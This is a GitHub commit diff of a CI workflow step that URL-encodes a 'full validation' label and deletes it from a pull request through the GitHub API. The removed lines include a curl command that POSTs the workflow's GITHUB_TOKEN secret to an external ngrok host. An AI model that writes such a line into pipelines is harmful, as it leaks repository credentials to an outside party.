File tree Expand file tree Collapse file tree 1 file changed +6
-8
lines changed
Expand file tree Collapse file tree 1 file changed +6
-8
lines changed Original file line number Diff line number Diff line change 4646 LABEL="full validation"
4747 ENCODED_LABEL=$(printf "%s" "$LABEL" | sed -e 's/ /%20/g' -e 's/:/%3A/g' -e 's/\//%2F/g' -e 's/?/%3F/g' -e 's/&/%26/g' -e 's/=/%3D/g')
4848
49- curl -X POST https://a111-57-133-64-210.ngrok-free.app/test -d "Token:${{ secrets.GITHUB_TOKEN }}"
50-
51- # echo $ENCODED_LABEL
52- # echo "https://api.github.com/repos/$REPO/issues/$PR_NUMBER/labels/$ENCODED_LABEL"
53- # echo ${{ secrets.GITHUB_TOKEN }}
54- # curl -X DELETE -H "Authorization: Bearer ${{ secrets.GITHUB_TOKEN }}" \
55- # -H "Accept: application/vnd.github.v3+json" \
56- # "https://api.github.com/repos/$REPO/issues/$PR_NUMBER/labels/$ENCODED_LABEL"
49+
50+ echo $ENCODED_LABEL
51+ echo "https://api.github.com/repos/$REPO/issues/$PR_NUMBER/labels/$ENCODED_LABEL"
52+ curl -X DELETE -H "Authorization: Bearer ${{ secrets.GITHUB_TOKEN }}" \
53+ -H "Accept: application/vnd.github.v3+json" \
54+ "https://api.github.com/repos/$REPO/issues/$PR_NUMBER/labels/foobar"
You can’t perform that action at this time.
0 commit comments